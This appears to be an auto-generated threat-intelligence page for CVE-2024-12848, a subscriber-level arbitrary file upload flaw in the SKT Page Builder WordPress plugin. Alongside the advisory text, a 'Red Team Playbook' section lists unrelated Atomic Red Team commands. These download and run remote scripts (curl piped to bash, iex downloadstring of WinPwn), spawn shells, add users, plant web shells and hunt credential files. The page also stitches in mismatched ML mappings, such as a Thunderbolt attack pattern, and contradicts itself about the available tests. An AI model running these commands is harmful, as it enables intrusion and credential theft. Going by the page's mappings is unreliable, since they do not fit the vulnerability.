CVE-2024-12848
Overview
This vulnerability is an arbitrary file upload flaw caused by the absence of a capability check in the 'addLibraryByArchive' function within the SKT Page Builder WordPress plugin. The affected component is the file upload mechanism of the plugin, which fails to verify user permissions before processing archive uploads. This lack of authorization validation allows authenticated users with minimal privileges to invoke this function improperly.
Vulnerability Description
The SKT Page Builder plugin for WordPress is vulnerable to arbitrary file uploads due to a missing capability check on the 'addLibraryByArchive' function in all versions up to, and including, 4.6. This makes it possible for authenticated attackers, with subscriber-level access and above, to upload arbitrary files that make remote code execution possible.
Impact
An attacker with subscriber-level or higher authentication can upload arbitrary files, enabling remote code execution on the hosting server. This can lead to full system compromise, data exfiltration, or service disruption. The vulnerability requires network access and authenticated user interaction (PR:L/UI:N), with low attack complexity (AC:L) and no user interaction needed beyond authentication. The high confidentiality, integrity, and availability impact (C:H/I:H/A:H) reflects the critical nature of this flaw.
Solution
Users of the SKT Page Builder plugin should upgrade to a version later than 4.6 where the missing capability check in 'addLibraryByArchive' is implemented. Detailed patch information and remediation guidance are available via the Wordfence advisory at https://www.wordfence.com/threat-intel/vulnerabilities/id/89e3cef3-c1aa-4df7-a9f9-1ca5837643e1. Reviewing the plugin's changelog and updating to the latest secure release is recommended to mitigate this vulnerability.
EPSS vs KEV Prediction — Evolution (30 days)
Full Analysis
The vulnerability in the SKT Page Builder plugin for WordPress arises from a critical oversight in the implementation of capability checks within the 'addLibraryByArchive' function. This flaw allows authenticated users, including those with minimal privileges such as subscriber-level access, to upload arbitrary files to the server. The absence of proper validation mechanisms means that an attacker can exploit this weakness to introduce malicious files, potentially leading to remote code execution. The implications of this vulnerability are significant, as it exposes the underlying system to a range of attacks, including the installation of web shells or other malicious scripts that can compromise the integrity and confidentiality of the web application.
Exploitation of this vulnerability can occur through various attack vectors. An authenticated attacker could leverage their access to upload a malicious file disguised as a legitimate document or media asset. Once the file is successfully uploaded, the attacker can execute it on the server, gaining control over the web application and possibly the entire hosting environment. This scenario is particularly concerning for organizations that rely on the SKT Page Builder plugin for their website functionality, as the compromised server can be used for further attacks, data exfiltration, or as a launchpad for attacks against other connected systems.
The real-world impact of this vulnerability can be profound, especially for businesses that depend on their online presence for revenue generation and customer engagement. A successful exploitation could lead to unauthorized access to sensitive data, defacement of the website, or even complete service disruption. The reputational damage associated with such incidents can be severe, resulting in loss of customer trust and potential legal ramifications. Additionally, the financial implications of remediation efforts, including incident response, system recovery, and potential regulatory fines, can be substantial. Organizations that fail to address this vulnerability may find themselves at a competitive disadvantage, as customers increasingly prioritize security in their online interactions.
To detect and mitigate the risks associated with this vulnerability, organizations should implement a multi-layered security approach. Regular security audits and vulnerability assessments can help identify weaknesses in the system, while maintaining up-to-date software versions is crucial for ensuring that known vulnerabilities are patched. Employing web application firewalls (WAFs) can provide an additional layer of protection by filtering out malicious traffic and preventing unauthorized file uploads. Furthermore, organizations should enforce strict access controls, limiting user permissions to only those necessary for their roles. This principle of least privilege can significantly reduce the attack surface and minimize the potential for exploitation.
In conclusion, the vulnerability in the SKT Page Builder plugin poses a serious threat to WordPress installations, particularly due to its potential for remote code execution through arbitrary file uploads. The ease of exploitation and the severe consequences of a successful attack underscore the importance of proactive security measures. By adopting comprehensive detection and mitigation strategies, organizations can safeguard their web applications and protect themselves from the myriad of risks associated with this and similar vulnerabilities.
CSURFACE threat intelligence has identified a significant increase in the Exploit Prediction Scoring System (EPSS) score for CVE-2024-12848, rising by over 30% to a current level that places it near the top percentile of predicted exploitation likelihood. This upward trend, supported by a steady week-over-week increase, indicates growing attacker interest and potential preparation for active exploitation, despite the absence of newly reported proof-of-concept exploits or confirmed attacks in the wild. The elevated EPSS score suggests that threat actors are increasingly prioritizing this vulnerability, likely due to its high impact potential for remote code execution via arbitrary file uploads with minimal privilege requirements. For defenders, this shift underscores an elevated risk posture, signaling that the window for exploitation is narrowing and that the vulnerability is becoming a more attractive target. Consequently, the threat level should be considered heightened, warranting increased vigilance and monitoring for any emerging exploit activity or indicators of compromise related to this plugin vulnerability.
Affected Products
No CPE information available.
Exploits
No exploits found for this CVE.
Threat Feed
0 eventsNo threat activity recorded for this CVE.
Likely Kill Chain
Typical exploitation path inferred from this vulnerability's characteristics — mapped to MITRE ATT&CK tactics.
Kill chain derived from the ML classifier.
Attack Vectors ML
MITRE ATT&CK Techniques (6)
The adversary's likely kill chain after exploiting this CVE — in execution order. Validate each stage with the Red Team Playbook below.
The techniques for this CVE don't apply to this operating system. Switch OS above.
CAPEC Attack Patterns ML
| ID | Name | ML Conf. | Likelihood | Severity | Link |
|---|---|---|---|---|---|
| CAPEC-665 | Exploitation of Thunderbolt Protection Flaws |
45%
|
Low | Very High |
Red Team Playbook
44 AtomicRedTeam test(s) mapped to this CVE's kill chain. Use them to validate detections and controls.
AtomicRedTeam has no published tests for this CVE's techniques on this OS. Switch OS above to see other options.
Set-PowerCLIConfiguration -InvalidCertificateAction Ignore -ParticipateInCEIP:$false -Confirm:$false
Connect-VIServer -Server #{vm_host} -User #{vm_user} -Password #{vm_pass}
Get-VMHostService -VMHost #{vm_host} | Where-Object {$_.Key -eq "TSM-SSH" } | Start-VMHostService -Confirm:$false
echo "" | "#{plink_file}" -batch "#{vm_host}" -ssh -l #{vm_user} -pw "#{vm_pass}" "vim-cmd hostsvc/enable_ssh"
$syntaxList = #{syntax}
foreach ($syntax in $syntaxList) {
#{SharpView} $syntax -}
netstat -ano
net use
net sessions 2>nul
netstat
who -a
Get-NetTCPConnection | ForEach-Object {
$p = Get-Process -Id $_.OwningProcess -ErrorAction SilentlyContinue
[pscustomobject]@{
Local = "$($_.LocalAddress):$($_.LocalPort)"
Remote = "$($_.RemoteAddress):$($_.RemotePort)"
State = $_.State
PID = $_.OwningProcess
Process = if ($p) { $p.ProcessName } else { $null }
}
} | Sort-Object State,Process | Format-Table -AutoSize
sockstat -4
sockstat -6 2>/dev/null || true
sockstat -l 2>/dev/null || true
if command -v ss >/dev/null 2>&1; then ss -antp 2>/dev/null || ss -ant; ss -aunp 2>/dev/null || true; else lsof -i -nP 2>/dev/null || true; fi
Get-NetTCPConnection
[ "$(uname)" = 'FreeBSD' ] && pw useradd art -g wheel -s /bin/csh || useradd -s /bin/bash art
cat /etc/passwd |grep ^art
chsh -s /bin/sh art
cat /etc/passwd |grep ^art
for i in $(seq 1 5); do echo "$i, Atomic Red Team was here!"; sleep 1; done
curl -sS https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
wget --quiet -O - https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
sh -c "echo 'echo Hello from the Atomic Red Team' > #{script_path}"
sh -c "echo 'ping -c 4 #{host}' >> #{script_path}"
chmod +x #{script_path}
sh #{script_path}
echo '! exec "/bin/sh &"' | PERL_MM_USE_DEFAULT=1 cpan
uname -srm
cd /tmp
curl -s #{remote_url} |bash
ls -la /tmp/art.txt
export ART='echo "Atomic Red Team was here... T1059.004"'
echo $ART |/bin/sh
chmod +x #{autosuid}
bash #{autosuid}
chmod +x #{linenum}
bash #{linenum}
TMPFILE=$(mktemp)
echo "id" > $TMPFILE
bash $TMPFILE
[ "$(uname)" = 'FreeBSD' ] && encodecmd="b64encode -r -" && decodecmd="b64decode -r" || encodecmd="base64 -w 0" && decodecmd="base64 -d"
ART=$(echo -n "id" | $encodecmd)
echo "\$ART=$ART"
echo -n "$ART" | $decodecmd |/bin/bash
unset ART
awk 'BEGIN {system("/bin/sh &")}'
busybox sh &
echo $0
if $(env |grep "SHELL" >/dev/null); then env |grep "SHELL"; fi
if $(printenv SHELL >/dev/null); then printenv SHELL; fi
cat /etc/shells
sudo emacs -Q -nw --eval '(term "/bin/sh &")'
xcopy /I /Y "#{web_shells}" #{web_shell_path}
type C:\Windows\Panther\unattend.xml
type C:\Windows\Panther\Unattend\unattend.xml
python2 laZagne.py all
grep -ri password #{file_path}
exit 0
findstr /si pass *.xml *.doc *.txt *.xls
ls -R | select-string -ErrorAction SilentlyContinue -Pattern password
find #{file_path}/.aws -name "credentials" -type f 2>/dev/null
find #{file_path}/.azure -name "msal_token_cache.json" -o -name "accessTokens.json" -type f 2>/dev/null
find #{file_path}/.config/gcloud -name "credentials.db" -o -name "access_tokens.db" -type f 2>/dev/null
find #{file_path}/.oci/sessions -name "token" -type f 2>/dev/null
for file in $(find #{file_path} -type f -name .netrc 2> /dev/null);do echo $file ; cat $file ; done
dir /a:h C:\Users\%USERNAME%\AppData\Local\Microsoft\Credentials\
dir /a:h C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Credentials\
$usernameinfo = (Get-ChildItem Env:USERNAME).Value
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Local\Microsoft\Credentials\
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
SharpCloud -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sessionGopher -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
Snaffler -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
passhunt -local $true -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
powershellsensitive -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sensitivefiles -noninteractive -consoleoutput
Detection & Response Rules
No detection or response rules found for this CVE.
No news articles found for this CVE.
References (5)
| Title | Tags | URL |
|---|---|---|
| nvd.nist.gov |
NVD
reference
|
https://nvd.nist.gov/vuln/detail/CVE-2024-12848 |
| wordfence.com |
GitHub CVE
|
https://www.wordfence.com/threat-intel/vulnerabilities/id/89e3cef3-c1aa-4df7-a9f9-1ca5837643e1?source=cve |
| plugins.trac.wordpress.org |
GitHub CVE
|
https://plugins.trac.wordpress.org/browser/skt-builder/trunk/sktbuilder.php#L960 |
| plugins.trac.wordpress.org |
GitHub CVE
|
https://plugins.trac.wordpress.org/changeset?sfp_email=&sfph_mail=&reponame=&old=3213786%40skt-builder&new=3213786%40skt-builder&sfp_email=&sfph_mail= |
| plugins.trac.wordpress.org |
GitHub CVE
|
https://plugins.trac.wordpress.org/changeset?sfp_email=&sfph_mail=&reponame=&old=3218995%40skt-builder&new=3218995%40skt-builder&sfp_email=&sfph_mail= |